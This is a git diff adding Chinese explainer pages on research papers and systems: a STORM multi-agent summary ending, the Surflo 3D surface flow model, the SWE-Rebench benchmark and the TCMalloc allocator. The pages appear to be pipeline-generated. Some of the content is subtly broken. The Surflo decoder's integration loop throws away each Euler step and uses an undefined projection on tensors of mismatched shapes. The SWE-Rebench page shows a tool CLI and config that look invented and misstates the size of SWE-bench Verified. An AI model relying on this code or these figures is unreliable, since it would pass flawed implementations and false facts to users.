+**STORM 把多 Agent 协作从「各自隔离、最后赌 merge」改成「共享工作区、写入时校验局部快照是否过期」**——冲突立刻变成可重试的反馈，再配合代码里的 intent 注释，在共享文件边界上传递「为什么这样改」。它不是银弹，但在跨文件依赖重的代码任务上，论文给出了比 Git Worktree 更稳的并行基础层。
+
+---
+
+## 参考
+
+- Liu, M., Chen, T., Xu, Z., Jiang, X., & Dong, Y. (2026). *Multi-agent Collaboration with State Management*. arXiv:2605.20563. https://arxiv.org/abs/2605.20563
+- 代码：https://github.com/dreamyang-liu/STORM
+- Commit0：https://commit-0.github.io/
+- PaperBench：Starace et al., arXiv:2504.01848
diff --git a/src/content/docs/papers/surflo.md b/src/content/docs/papers/surflo.md
new file mode 100644
index 000000000..4a4389f41
--- /dev/null
+++ b/src/content/docs/papers/surflo.md
@@ -0,0 +1,288 @@
+---
+title: "Surflo: Consistent 3D Surface Flow Model with Global State"
+来源: https://arxiv.org/abs/2606.13644
+日期: 2026-06-13
+分类: 机器学习
+子分类: 3D生成
+provenance: pipeline-v3
+---
+
+# Surflo: 用"全球状态"做一致性的3D表面重建
+
+## 一、从日常类比说起
+
+想象你在玩拼图。
+
+传统做法：每张照片都画一张"3D草图"，16张照片就画16张草图。这些草图互相重叠、对不齐，最后硬拼在一起，结果表面重复、空洞、碎片化。
+
+Surflo的做法：把所有照片压缩成**一张藏宝图**（全球状态）。不管你看了几张照片，藏宝图只有一张。然后从这张藏宝图上，你可以按需查询：想要几千个点？可以。想要一百万个点？也可以。每次查询都是独立的，但都指向同一张藏宝图。
+
+问题是：独立查询可能导致矛盾——点A认为表面在这，点B认为表面在那。Surflo的解决方案是在最后时刻让相邻的点"商量一下"：通过一个摄影指导信号（photometric guidance），让它们都朝着"最符合原始照片"的方向靠拢。
+
+## 二、核心概念拆解
+
+### 2.1 核心问题：几何是视图不变的
+
+几何有一个本质特性——**无论你从哪个角度看，物体本身不变**。这意味着：16张照片描述的是同一个3D状态，只是从16个不同角度投影而已。原始数据量随照片数量线性增长，但几何信息总量不变。
+
+传统方法的缺陷：
+
+| 方法类型 | 问题 |
+|---------|------|
+| 逐视图方法（如VGGT） | 输出随视图数量线性增长，点云重叠对不齐 |
+| 全局潜方法（如NOVA3R） | 输出分辨率固定（1万点），无法灵活调整 |
+
+Surflo要做的，是**用一个固定大小的全局状态，支持任意分辨率的输出**。
+
+### 2.2 三支柱架构
+
+Surflo有三个关键组件：
+
+**支柱一：编码器 — 从照片到固定大小的全局状态**
+
+- 用冻结的VGGT模型提取特征（VGGT是一个强大的多视角几何理解模型）
+- 给每个特征块加上3D位置编码（用傅里叶特征表示空间位置）
+- 用Perceiver风格的交叉注意力，把 N×4×Np 个特征块压缩成 K=128 个 latent token
+- 同时处理相机信息，得到一个额外的相机 latent
+- 最终全局状态 z ∈ R^{129×512}，与输入视图数量 N 无关
+
+**支柱二：解码器 — 基于flow matching的独立点查询**
+
+- 每个查询点 x ∈ R^3 × S^2（3D坐标 + 法向量）被独立处理
+- 从噪声分布开始，预测一个速度向量，把点"推"到表面上
+- 因为每个点独立解码，输出数量从几千到一百万均可
+- 训练目标是最小化 flow matching 损失：预测速度与真实速度之间的L2距离
+
+**支柱三：推理时引导 — 让相邻点"商量"**
+
+- 在ODE积分的最后阶段（t ≥ 0.95），注入一个渲染损失梯度
+- 把预测的点集当作高斯球渲染回原始视角，计算与输入图像的差距
+- 梯度更新耦合所有点的速度，让相邻点达成一致
+- 可选：加入单目深度专家进一步锐化几何
+
+## 三、代码示例
+
+### 示例1：编码器 — 压缩多视角特征
+
+下面这个伪代码展示了Surflo如何把N张输入视图压缩成固定大小的全局状态。
+
+```python
+import torch
+import torch.nn as nn
+from einops import rearrange
+
+# 假设输入: N张视图, 每张视图有 4层VGGT特征 + 4个相机token
+# VGGT是冻结的, 我们只训练压缩器
+
+class SurfloEncoder(nn.Module):
+    def __init__(self, feature_dim=512, num_latents=128,
+                 num_layers=4, cam_layers=(4, 11, 17, 23)):
+        super().__init__()
+        self.num_latents = num_latents
+
+        # 3D位置编码: 用傅里叶特征编码空间坐标
+        self.fourier_proj = FourierFeatureProjection(
+            input_dim=3, output_dim=feature_dim
+        )
+
+        # 从VGGT特征压缩到K个latent token
+        # 类似Perceiver IO的交叉注意力机制
+        self.latent_queries = nn.Parameter(
+            torch.randn(num_latents, feature_dim) * 0.02
+        )
+        self.camera_latent = nn.Parameter(
+            torch.randn(1, feature_dim) * 0.02
+        )
+
+        # 交叉注意力 + 自注意力层
+        self.compressor = PerceiverCompressor(
+            num_latents=num_latents,
+            num_cross_attn_layers=4,
+            num_self_attn_layers=4,
+            dim=feature_dim
+        )
+
+    def forward(self, vggt_patch_tokens, vggt_pointmaps, vggt_cam_tokens):
+        """
+        参数:
+          vggt_patch_tokens: [N, 4*Np, D] 多视图VGGT补丁token
+          vggt_pointmaps:    [N, Np, 3]  补丁中心的3D坐标
+          vggt_cam_tokens:   [N, 4, D]   每视图的相机token
+
+        返回:
+          global_state: [129, D] 全局状态 (128个空间token + 1个相机token)
+        """
+        N = vggt_patch_tokens.shape[0]
+
+        # 步骤1: 给每个补丁token加上3D位置编码
+        # 补丁中心的3D坐标 -> 傅里叶特征 -> 加到token上
+        fourier_pe = self.fourier_proj(vggt_pointmaps)  # [N, Np, D]
+        position_encoded_tokens = vggt_patch_tokens + fourier_pe
+
+        # 步骤2: 交叉注意力压缩
+        # 固定的K个查询token "阅读" 所有视图的所有补丁token
+        spatial_latents = self.compressor(
+            queries=self.latent_queries,           # [K, D]
+            keys_values=position_encoded_tokens     # [N * 4*Np, D]
+        )  # [K, D]
+
+        # 步骤3: 同样方式压缩相机token
+        camera_latent = self.compressor(
+            queries=self.camera_latent,             # [1, D]
+            keys_values=vggt_cam_tokens.reshape(-1, vggt_cam_tokens.shape[-1])
+        )  # [1, D]
+
+        # 步骤4: 拼接成全局状态
+        global_state = torch.cat(
+            [spatial_latents, camera_latent], dim=0
+        )  # [K+1, D] = [129, 512]
+
+        return global_state
+```
+
+**关键理解**：无论输入2张还是100张视图，输出永远是 [129, 512]。这就是"全局状态"的威力。
+
+### 示例2：解码器 — 从全局状态生成任意数量的表面点
+
+下面展示flow matching解码器如何把噪声点"推"到表面上。
+
+```python
+import torch
+import torch.nn as nn
+import math
+
+class SurfloDecoder(nn.Module):
+    def __init__(self, dim=512, num_layers=12, num_heads=8):
+        super().__init__()
+
+        # 时间嵌入: 用正弦函数编码flow的时间步t
+        self.time_mlp = SinusoidalTimeEmbedding(dim)
+
+        # AdaLN: 用时间和相机信息调制注意力层
+        self.adaln = AdaptiveLayerNorm(dim)
+
+        # 交叉注意力层: 每个点独立查询全局状态
+        self.cross_attn_layers = nn.ModuleList([
+            CrossAttentionBlock(dim=dim, num_heads=num_heads)
+            for _ in range(num_layers)
+        ])
+
+        # 最后输出速度向量 (3D坐标 + 3D法向量 = 6维)
+        self.velocity_head = nn.Linear(dim, 6)
+
+    def forward(self, query_points, time, global_state):
+        """
+        参数:
+          query_points: [P, 6]  P个查询点, 每个含(3D坐标, 3D法向量)
+          time:           [P]   每个点对应的flow时间步 t ∈ [0, 1]
+          global_state:   [129, D] 编码器输出的全局状态
+
+        返回:
+          velocity: [P, 6] 预测的速度向量, 把噪声点推向表面
+        """
+        P = query_points.shape[0]
+
+        # 步骤1: 给查询点加3D傅里叶位置编码
+        coords = query_points[:, :3]   # [P, 3]
+        normals = query_points[:, 3:]  # [P, 3]
+        encoded_query = self.fourier_proj(coords) + query_points
+
+        # 步骤2: 时间嵌入 + AdaLN调制
+        time_embed = self.time_mlp(time)  # [P, D]
+        camera_latent = global_state[-1:]  # [1, D] 相机token
+        conditioning = torch.cat([time_embed, camera_latent], dim=1)
+
+        # 步骤3: 逐层交叉注意力
+        x = encoded_query  # [P, D] 投影到模型维度
+        for i, layer in enumerate(self.cross_attn_layers):
+            # 前6层用交叉注意力查询全局状态, 后6层自注意力
+            if i < 6:
+                x = layer.cross_attn(x, global_state[:-1])
+            else:
+                x = layer.self_attn(x)
+
+            # AdaLN: 用时间信息调制每一层
+            x = self.adaln(x, conditioning)
+
+        # 步骤4: 预测速度
+        velocity = self.velocity_head(x)  # [P, 6]
+        return velocity
+
+    def integrate(self, global_state, num_points=100_000, num_steps=150):
+        """
+        推理: 从噪声开始, 用Euler积分沿预测速度推进到表面
+
+        参数:
+          num_points:  要生成的表面点数量 (可自由调节!)
+          num_steps:   Euler积分步数
+
+        返回:
+          surface_points: [P, 6] 表面上的点 (3D坐标 + 法向量)
+        """
+        P = num_points
+
+        # 步骤1: 从源分布采样噪声点
+        # 3D坐标: 从VGGT点云周围的高斯混合分布采样
+        # 法向量: 均匀采样单位球面上的方向
+        noise_coords = sample_source_coordinates(P)  # [P, 3]
+        noise_normals = sample_sphere_directions(P)  # [P, 3]
+        query = torch.cat([noise_coords, noise_normals], dim=1)  # [P, 6]
+
+        t = 0.0
+        for step in range(num_steps):
+            # 线性插值: x_t = (1-t)*x_0 + t*x_1
+            query_t = (1 - t) * query + t * query
+
+            # 预测速度
+            velocity = self.forward(query_t, torch.full((P,), t), global_state)
+
+            # Euler步进: x_{t+dt} = x_t + dt * velocity
+            dt = 1.0 / num_steps
+            query_t = query_t + dt * velocity
+
+            t += dt
+
+        return query_t  # [P, 6] 最终表面点
+```
+
+**关键理解**：`num_points` 可以自由设置。要快速预览？设8K。要精细渲染？设128K。全局状态不变，解码成本只跟输出点数成正比。
+
+## 四、Surflo的独特之处
+
+1. **视图数量无关**：输入2张或32张图，全局状态大小不变，同一模型直接用。
+
+2. **分辨率无关**：从全局状态解码8K点到128K点，模型不变，只是多跑几遍解码器。
+
+3. **端到端训练**：编码器（冻结VGGT）+ 压缩器 + 解码器联合训练，端到端优化。
+
+4. **推理时引导**：不修改训练目标，而是在推理时用渲染损失梯度"矫正"相邻点，兼顾灵活性和一致性。
+
+## 五、性能亮点
+
+- 在8个3D重建基准上，Surflo匹配或超越了feed-forward基线
+- 比基于优化的方法（如Gaussian Wrapping）快一个数量级
+- 是唯一同时具备"全局潜变量"和"任意分辨率解码"能力的feed-forward方法
+- 仅用16张未标定视角的照片就能重建出干净的mesh
+
+## 六、延伸思考
+
+Surflo的核心洞察可以用一句话概括：**如果几何是视图不变的，那中间表示就应该是全局的，而不是逐视图的。**
+
+这个思想其实可以推广到很多领域。比如：
+- 语音识别：一段话的语义是全局的，不应该逐帧独立处理
+- 时间序列预测：整个序列的趋势是全局的，不应该逐时间点独立预测
+- 代码理解：整个函数的意图是全局的，不应该逐行独立分析
+
+Surflo在3D重建这个具体问题上验证了这个思想的威力，而"全局状态 + 独立查询"的架构模式，可能成为更多任务的通用范式。
+
+## 七、关键术语表
+
+| 术语 | 含义 |
+|------|------|
+| Flow Matching | 一种生成模型方法，学习将噪声分布"流动"到目标分布的速度场 |
+| ODE Integration | 常微分方程积分，这里用于沿预测速度推进查询点 |
+| Chamfer Distance | 衡量两组点云之间相似度的指标，越小越相似 |
+| Perceiver Compressor | 一种用交叉注意力将大量token压缩为少量latent的技术 |
+| Fourier Feature Encoding | 用正弦/余弦函数将坐标映射到高维空间，让网络能学习高频函数 |
+| Gaussian Splatting | 一种用可微分渲染的3D表示方法，Surflo用它做渲染引导 |
+| AdaLN | Adaptive Layer Normalization，用额外条件信息调制归一化层 |
diff --git a/src/content/docs/papers/swe-rebench-2026.md b/src/content/docs/papers/swe-rebench-2026.md
new file mode 100644
index 000000000..1746e4e18
--- /dev/null
+++ b/src/content/docs/papers/swe-rebench-2026.md
@@ -0,0 +1,202 @@
+---
+title: SWE-Rebench — 用 AI 自动从 GitHub "挖" 实时 Bug 修复任务
+来源: 'https://arxiv.org/abs/2605.30896'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 是什么
+
+SWE-Rebench 是一套**自动化流水线**，它的核心想法很简单：从 GitHub 上不断抓取真实的软件仓库，自动把它们变成"修复 Bug"的训练任务，然后源源不断地供给给 AI 编程代理（SWE Agent）去学习和评测。
+
+日常类比：以前的编程能力考试像"期末考试"——题目固定、几年不换，学生（AI 模型）背答案就能高分。SWE-Rebench 的做法是**雇一个 AI 秘书天天逛 GitHub，看到有人提 Issue、有人发 Pull Request，就把它们摘下来做成"练习题"**。因为新题源源不断，所以不存在"背答案"的问题——这就是标题里"Continuously Refreshed"的意思。
+
+## 为什么重要
+
+在 SWE-Rebench 出现之前，AI 编程评测面临两个死结：
+
+1. **数据太少**——真实世界的 Bug 修复任务需要人手工标注、配环境，一个月能攒几十个就不错了
+2. **题目会泄露**——热门 benchmark（如 SWE-bench）被太多模型"见过"，测试成绩水分大
+
+SWE-Rebench 用自动化流水线同时解决了这两个问题：21,000+ 任务、持续产出、零人工标注。
+
+## 核心概念
+
+### 1. 交互式 SWE 任务
+
+一个 SWE 任务不只是"写一段代码"，而是包含：
+
+- **Issue**：用户报告的 Bug 或需求（相当于"题目描述"）
+- **代码仓库**：包含完整开发环境的 Git 仓库
+- **测试套件**：用来验证修复是否正确的自动化测试
+- **执行环境**：Docker 容器，保证每个任务在相同环境下运行
+
+AI 代理需要像真实开发者一样：阅读 Issue → 克隆仓库 → 安装依赖 → 理解代码 → 修改代码 → 通过测试。
+
+### 2. 自动化流水线
+
+SWE-Rebench 的流水线分三步，全部自动化：
+
+```
+GitHub 抓取 → 任务提取 → 环境构建
+```
+
+- **抓取**：监控大量开源仓库的 Issue 和 Pull Request
+- **提取**：用 LLM 判断这个 PR 是否可以变成一个可执行的修复任务
+- **构建**：自动生成 Docker 镜像，包含仓库代码、依赖和测试
+
+整个过程不需要人参与，所以可以大规模扩展。
+
+### 3. 持续刷新（Continuous Refresh）
+
+这是 SWE-Rebench 最核心的创新。传统 benchmark 是一次性的：
+
+```
+制作 benchmark → 发布 → 模型训练 → 评测 → benchmark 过时
+```
+
+SWE-Rebench 是持续的：
+
+```
+持续抓取 → 持续构建 → 持续评测 → benchmark 永远是新的
+```
+
+这意味着你可以随时拿最新模型来测，不用担心题目泄露。
+
+## 代码示例
+
+### 示例 1：一个 SWE-Rebench 任务的 JSON 结构
+
+每个任务本质上是一个 JSON 文件，描述了一个完整的修复场景：
+
+```json
+{
+  "instance_id": "django__django-12345",
+  "repo": "https://github.com/django/django.git",
+  "base_commit": "abc123def456...",
+  "issue_text": "When using DecimalField with max_digits=10, values greater than 999999 throw an unexpected error...",
+  "patch": "@@ -42,6 +42,8 @@\n+ if value > max_allowed:\n+     raise ValidationError('Too large')",
+  "test_patch": "@@ -10,4 +10,8 @@\n+def test_large_decimal():\n+    assert DecimalField(10).clean(999999.99) == 999999.99",
+  "environment_setup": "pip install -e '.[doc,test]' && python -m pytest --co"
+}
+```
+
+拆解一下每个字段：
+
+| 字段 | 作用 | 类比 |
+|------|------|------|
+| `instance_id` | 唯一标识，格式是 `仓库__编号` | 学号 |
+| `repo` | 目标 Git 仓库地址 | 课本 |
+| `base_commit` | 修复前的代码版本（Git commit hash） | 题目给出的初始状态 |
+| `issue_text` | 用户描述的 Bug | 题目描述 |
+| `patch` | 原始 PR 的修复内容（用于评分） | 标准答案 |
+| `test_patch` | 额外添加的测试用例 | 附加考题 |
+| `environment_setup` | 安装依赖的命令 | 实验课前准备 |
+
+### 示例 2：用 SWE-Rebench 评测一个模型
+
+SWE-Rebench 提供了命令行工具来运行评测：
+
+```bash
+# 1. 安装 SWE-Rebench
+pip install swe-rebench
+
+# 2. 运行评测（以 GPT-4 为例）
+swe-rebench configs/gpt4.config
+
+# 3. 查看结果
+swe-rebench report --output results.html
+```
+
+一个典型的配置文件 `gpt4.config` 长这样：
+
+```yaml
+SWE-Rebench:
+  TaskCollection: swebench_verified
+  Model: GPT-4
+  InstanceFilter:
+  Strategy: default
+
+  GPT-4:
+    model: gpt-4
+    api_base: https://api.openai.com/v1
+    api_key: ${OPENAI_API_KEY}
+    prompt_template: default
+    max_steps: 50
+    temperature: 0.2
+```
+
+关键参数说明：
+
+- `TaskCollection`：用哪组题目（可以是 swebench_verified、swe-rebench 自建数据集等）
+- `Model`：要评测的模型名称
+- `max_steps`：代理最多允许执行多少步操作（防止无限循环）
+- `temperature`：生成随机性，0.2 表示比较保守 deterministic 的修复策略
+
+### 示例 3：自动化流水线中的 LLM 筛选环节
+
+SWE-Rebench 从 GitHub 抓到大量 PR 后，需要用 LLM 判断哪些适合变成训练任务。伪代码如下：
+
+```python
+# 伪代码：判断一个 PR 是否可以成为 SWE 训练任务
+def is_suitable_task(repo, issue, pr):
+    # 第一步：用 LLM 判断 issue 描述是否清晰
+    clarity = llm_call(
+        prompt=f"""
+        以下是一个 GitHub Issue 的描述，请判断它是否足够清晰，
+        让一个开发者知道要修什么。只回答 YES 或 NO。
+
+        Issue: {issue.text}
+        """,
+        model="gpt-4"
+    )
+    if clarity.strip() != "YES":
+        return False
+
+    # 第二步：检查是否有对应的测试可以验证修复
+    has_tests = check_test_suite(repo, pr.files_changed)
+    if not has_tests:
+        return False
+
+    # 第三步：确认仓库可以构建（Docker 镜像能正常 build）
+    can_build = try_build_docker(repo, pr.base_commit)
+    if not can_build:
+        return False
+
+    return True
+```
+
+这三道筛子过滤掉：描述不清的 PR、没有测试的 PR、环境无法搭建的 PR，最终留下的才是高质量的训练任务。
+
+## SWE-Rebench 与 SWE-bench 的关系
+
+很多人容易混淆这两个名字很像的东西：
+
+| | SWE-bench | SWE-Rebench |
+|---|---|---|
+| **特点** | 手动挑选、固定数据集 | 自动抓取、持续刷新 |
+| **规模** | 约 300 个 verified 任务 | 21,000+ 任务 |
+| **语言** | 主要是 Python | Python 为主，可扩展 |
+| **用途** | 评测（Benchmark） | 训练 + 评测 |
+| **更新频率** | 几乎不更新 | 持续产出新任务 |
+
+简单说：SWE-bench 像"高考真题集"，SWE-Rebench 像"每日练习题"。
+
+## 关键贡献
+
+1. **自动化流水线**——首次实现从 GitHub 到可执行训练任务的端到端自动化，无需人工标注
+2. **大规模数据集**——21,000+ 任务，远超此前任何 SWE 数据集
+3. **污染检测**——用持续产出的新任务证明：部分模型在 SWE-bench 上的成绩存在数据泄露
+4. **开源可复现**——数据集、流水线代码、评测工具全部开源
+
+## 局限与思考
+
+- **Python 偏向**——当前数据集以 Python 为主，其他语言的覆盖有限（后续 V2 版本已扩展到 20 种语言）
+- **LLM 筛选的误差**——用 LLM 判断任务质量，本身可能有误判
+- **Docker 构建失败**——并非所有 GitHub 仓库都能顺利构建 Docker 镜像，这部分被过滤掉了
+
+## 一句话总结
+
+SWE-Rebench 用一个"AI 秘书天天逛 GitHub"的自动化流水线，解决了 AI 编程训练数据不够多、评测题目会被背熟这两个核心痛点。
diff --git a/src/content/docs/papers/tcmalloc-google-2007.md b/src/content/docs/papers/tcmalloc-google-2007.md
new file mode 100644
index 000000000..c69feecb8
--- /dev/null
+++ b/src/content/docs/papers/tcmalloc-google-2007.md
@@ -0,0 +1,228 @@
+---
+title: TCMalloc — Thread-Caching Malloc 让多线程 malloc 走「线程私有小抽屉」
+来源: https://google.github.io/tcmalloc/design.html
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**TCMalloc**（Thread-Caching Malloc）是 Google 为 C/C++ 服务写的一套 `malloc` / `operator new` 实现，目标是替代 glibc 默认分配器，在**高并发**场景下把分配延迟压到极低。名字里的 **TC** 来自最早的 **per-thread cache**（每线程缓存）；现代 Linux 上默认已演进为 **per-CPU cache**（每逻辑核缓存），但品牌名保留了下来。
+
+日常类比：公司前台有一个**中央杂物柜**（central free list），所有人领订书钉都要排队开锁。TCMalloc 给每个员工（线程）或每个工位（CPU）发一个**手边小抽屉**（front-end cache）：常用规格的订书钉、回形针直接从抽屉拿，**不用排队**；抽屉空了才去中央柜批量补货（middle-end）；中央柜也没货了，才向物业申请新柜子（back-end / PageHeap）。
+
+你写的：
+
+```c
+void *p = malloc(48);
+```
+
+在 TCMalloc 内部大致是：把 48 字节**向上取整**到某个 **size class**（例如 48 B 档或 64 B 档，取决于编译选项）→ 从当前线程/CPU 的 cache 对应链表**弹出一个空闲对象** → 若链表空，从 transfer cache / central free list **批量 refill** → 仍不够则向 PageHeap 要新 **Span**（连续若干 TCMalloc page）。
+
+## 为什么重要
+
+不理解 TCMalloc，下面这些事很难讲清楚：
+
+- 为什么 Chrome、gRPC、Abseil 生态默认链 TCMalloc，而 profiler 里 `malloc` 锁等待常常消失
+- 为什么「多线程疯狂 `new`/`delete` 小对象」时，glibc ptmalloc 会卡在 arena 锁上，而 TCMalloc 仍能线性扩展
+- 为什么 jemalloc、tcmalloc、mimalloc 都谈 **size class + 线程本地缓存**——这是 2000 年代工业界 malloc 的共识架构
+- 为什么换分配器后 **RSS 与 VSS 差距**会变大（TCMalloc 向 OS 一次 `mmap` 很大区间，先占虚拟地址）
+
+原始 gperftools 版 TCMalloc 由 Sanjay Ghemawat 等在 Google 内部演化；现行设计文档见 [google/tcmalloc](https://github.com/google/tcmalloc)。本文以官方 [Design doc](https://google.github.io/tcmalloc/design.html) 为准，兼顾 legacy per-thread 与现代 per-CPU 两种前端模式。
+
+## 三层架构（Front / Middle / Back）
+
+TCMalloc 可按职责切成三块：
+
+| 层级 | 职责 | 是否常需要锁 |
+|------|------|--------------|
+| **Front-end** | 对应用提供 `malloc`/`free`；维护 per-thread 或 per-CPU 缓存 | 热路径**无锁**（单线程/单 CPU 独占 cache） |
+| **Middle-end** | 为 front-end 补货、回收；含 **Transfer Cache** 与 **Central Free List**（每个 size class 各一份） | **有 mutex** |
+| **Back-end** | 向 OS 要/还内存；**PageHeap**（legacy 或 hugepage-aware） | 有锁，但调用频率低 |
+
+分配路径（小对象）：
+
+```
+malloc(n) → SizeMap::GetSizeClass(n) → front-end 链表弹出
+         → 空则 middle-end 批量取 → 仍空则 back-end 新 Span
+free(p)   → pagemap 查 Span/size class → 压回 front-end 链表
+         → 满则批量还 middle-end → Span 全空则还 PageHeap
+```
+
+## 核心概念
+
+### 1. Size class（规格档）
+
+「小对象」映射到约 **60–80 个**可分配档位。例如请求 12 B 可能落到 **16 B** class。档位间距经过优化，在**内部碎片**与**档位数**之间折中：小尺寸常按 8 B 递增，更大按 16/32 B 递增。
+
+`::operator new` 的对齐还受 `__STDCPP_DEFAULT_NEW_ALIGNMENT__` 影响：若 ≤8，许多常见尺寸（24、40 B 等）用 8 B 对齐档，减少浪费。
+
+### 2. Span 与 Page
+
+- **TCMalloc page**：分配器自己的页单位（4/8/32/256 KiB 可编译选择），**不等于** CPU TLB 的 4 KiB。
+- **Span**：连续若干 TCMalloc page 的管理单元；可专供某一 size class 的小对象，或承载单个大对象。
+- **Pagemap**：radix tree，把任意指针映射到所属 Span（`free` 时不知大小时靠它查档）。
+
+小对象在 Span 内用 **16 位索引** 的紧凑链表（unrolled linked list），减少指针追逐的 cache miss。
+
+### 3. Front-end：Per-thread vs Per-CPU
+
+**Legacy per-thread（名字由来）**
+
+- 每个线程一个 `ThreadCache`，每个 size class 一条**单向空闲链表**。
+- 分配 = 链表头弹出；释放 = 头插。
+- 总缓存上限由 `MallocExtension::SetMaxTotalThreadCacheBytes` 控制（默认约 32 MiB 量级）；单线程还有 `KMinThreadCacheSize`（约 512 KiB）下限。
+- 线程多时总 footprint 随线程数涨——高线程数服务上的痛点。
+
+**现代 per-CPU（Linux ≥4.18 + RSEQ 时默认）**
+
+- 每个逻辑 CPU 一块 slab，存各 size class 的指针数组。
+- 用 **restartable sequences (rseq)** 更新数组，**无锁**且不怕被抢占写到一半。
+- 上限 `SetMaxPerCpuCacheSize`；CPU 数越多，可缓存总量越大。
+- 线程迁走后可 `ReleaseCpuMemory` 释放该核缓存。
+
+动态调参：链表太短会频繁打 middle-end；太长则浪费内存。per-thread 模式还会在活跃线程间 **steal** 缓存额度（round-robin 减别人的 `max_size` 给自己）。
+
+### 4. Middle-end：Transfer Cache 的意义
+
+典型模式：**线程 A 分配、线程 B 释放**同一 size class。若 B 的 cache 满、A 的 cache 空，对象经 **transfer cache**（指针数组）快速流转，而不必先沉到 central free list。Central free list 按 **Span** 管理：从 Span 抠对象满足请求；Span 内对象全空闲则整块还 back-end。
+
+### 5. Back-end：PageHeap 与 Hugepage
+
+- **Legacy PageHeap**：按「连续 k 个 page」长度的空闲链表管理；不够则 `mmap`。
+- **Hugepage Aware Allocator (HPAA)**：在 x86 上以 **2 MiB hugepage** 为单位，减 TLB miss；含 filler / region / hugepage 几级缓存。
+
+### 6. 与 glibc malloc 的对比（直觉）
+
+| 维度 | glibc ptmalloc（典型） | TCMalloc |
+|------|------------------------|----------|
+| 小对象热路径 | 可能碰 arena 锁 | 多数无锁（TLS / per-CPU） |
+| 规格化 | 有 bin，实现不同 | 显式 size class + Span |
+| 内存归还 OS | 较积极（视版本） | 大块预留，RSS 可能偏高 |
+| 适用 | 通用 libc | 自建二进制、Bazel 链入 |
+
+## 代码示例
+
+### 示例 1：普通 C 程序 — 小对象热路径
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <pthread.h>
+
+#define N_THREADS 16
+#define ITERS     200000
+
+static void *worker(void *arg) {
+    (void)arg;
+    for (int i = 0; i < ITERS; i++) {
+        /* 48 B → 某 size class；多数迭代从本线程 ThreadCache 链表 O(1) 取出 */
+        char *buf = malloc(48);
+        if (!buf) return NULL;
+        buf[0] = (char)i;
+        free(buf);  /* 头插回同 size class 链表，仍可不碰 central lock */
+    }
+    return NULL;
+}
+
+int main(void) {
+    pthread_t tid[N_THREADS];
+    for (int i = 0; i < N_THREADS; i++)
+        pthread_create(&tid[i], NULL, worker, NULL);
+    for (int i = 0; i < N_THREADS; i++)
+        pthread_join(tid[i], NULL);
+    puts("done");
+    return 0;
+}
+```
+
+用 `LD_PRELOAD` 或链接 `-ltcmalloc` 跑同样代码，在 8+ 核机器上常比默认 libc **吞吐更高**——瓶颈从 arena 锁变成内存带宽与 cache。
+
+### 示例 2：C++ 中观察 size class 取整与对齐
+
+```cpp
+#include <cstdio>
+#include <cstdlib>
+#include <new>
+
+struct alignas(16) Blob16 {
+    char data[16];
+};
+
+int main() {
+    /* 编译器常知道 sizeof，delete 时可把 size 直接传给 TCMalloc */
+    int *p = new int(42);
+    delete p;
+
+    /* malloc(12) 实际从 ≥12 的 size class 拿，可能是 16 B */
+    void *raw = std::malloc(12);
+    std::printf("malloc(12) -> %p\n", raw);
+    std::free(raw);
+
+    /* 大于 kMaxSize 的对象绕过 front/middle，直接向 PageHeap 要 Span */
+    const size_t huge = 8 * 1024 * 1024;
+    void *big = std::malloc(huge);
+    if (big) std::free(big);
+
+    Blob16 *b = new Blob16{};
+    delete b;
+    return 0;
+}
+```
+
+TCMalloc 对 `operator new` 失败**不抛异常**（Abseil 可用 `ABSL_ALLOCATOR_NOTHROW`），而是直接 crash——换分配器时要留意异常安全假设。
+
+### 示例 3：调 thread cache 总上限（gperftools / 扩展 API）
+
+```cpp
+#include <gperftools/malloc_extension.h>
+#include <cstdio>
+
+int main() {
+    /* 所有线程 cache 合计软上限（字节）；活跃线程多时可适当调大 */
+    MallocExtension::instance()->SetNumericProperty(
+        "tcmalloc.max_total_thread_cache_bytes", 64 * 1024 * 1024);
+    size_t val = 0;
+    MallocExtension::instance()->GetNumericProperty(
+        "tcmalloc.max_total_thread_cache_bytes", &val);
+    std::printf("thread cache budget: %zu\n", val);
+    return 0;
+}
+```
+
+per-CPU 模式下对应 API 为 `MallocExtension::SetMaxPerCpuCacheSize` 等，详见 [Tuning Guide](https://github.com/google/tcmalloc/blob/master/docs/tuning.md)。
+
+## 调优与陷阱
+
+**可调旋钮（摘要）**
+
+- TCMalloc **逻辑 page size**（4/8/32/256 KiB）：小 footprint 用小页；大 heap 用大页减元数据。
+- per-CPU / per-thread cache 上限。
+- 向 OS **归还内存**的速率（background release）。
+
+**常见坑**
+
+1. **VSS ≫ RSS**：向 OS 预留 GiB 级虚拟区，限制 `ulimit -v` 会过早杀进程。
+2. **混用分配器**：`dlopen` 把 TCMalloc 打进已用 libc `malloc` 的进程（如部分 JNI 场景），跨分配器 `free` 会崩。
+3. **高线程 + legacy per-thread**：每线程最小 cache 叠加，内存占用可观；优先让内核走 RSEQ 用 per-CPU。
+4. **采样分析**：TCMalloc 提供 heap profiling / `MallocExtension` 遥测，比盲猜碎片有用。
+
+## 与相关工作的关系
+
+- **jemalloc**（Evans 2006）：多 **arena** + size class；TCMalloc 强调 **线程/CPU 本地链表**，哲学相近、前端结构不同。
+- **gperftools tcmalloc**：老仓库里的实现；新功能在 [google/tcmalloc](https://github.com/google/tcmalloc)（依赖 Abseil）。
+- **mimalloc**：微软开源，同样 per-thread heap + size class，竞争同一类工作负载。
+
+## 小结
+
+TCMalloc 的核心思想可以记成一句话：**把小对象分配变成「无锁链表弹压 + 批量中转」**，只有 cache 失衡时才下沉到带锁的 central 层和 OS 层。理解 front / middle / back 三层、size class、Span、pagemap，以及 per-thread 与 per-CPU 两种前端，就抓住了它为何能成为 Google 基础设施默认 malloc 的主干。
+
+## 延伸阅读
+
+- [TCMalloc Design](https://google.github.io/tcmalloc/design.html) — 官方设计文档（本文主来源）
+- [TCMalloc Overview](https://google.github.io/tcmalloc/overview.html) — API 与 RSEQ 模式说明
+- [gperftools TCMalloc 说明](https://gperftools.github.io/gperftools/tcmalloc.html) — 经典 per-thread 行为与 `TCMALLOC_MAX_TOTAL_THREAD_CACHE_BYTES`
+- [google/tcmalloc tuning.md](https://github.com/google/tcmalloc/blob/master/docs/tuning.md) — 生产调参
diff --git a/src/content/docs/papers/tensorrt-llm-overview.md b/src/content/docs/papers/tensorrt-llm-overview.md
new file mode 100644
index 000000000..80bd04e46
--- /dev/null
+++ b/src/content/docs/papers/tensorrt-llm-overview.md
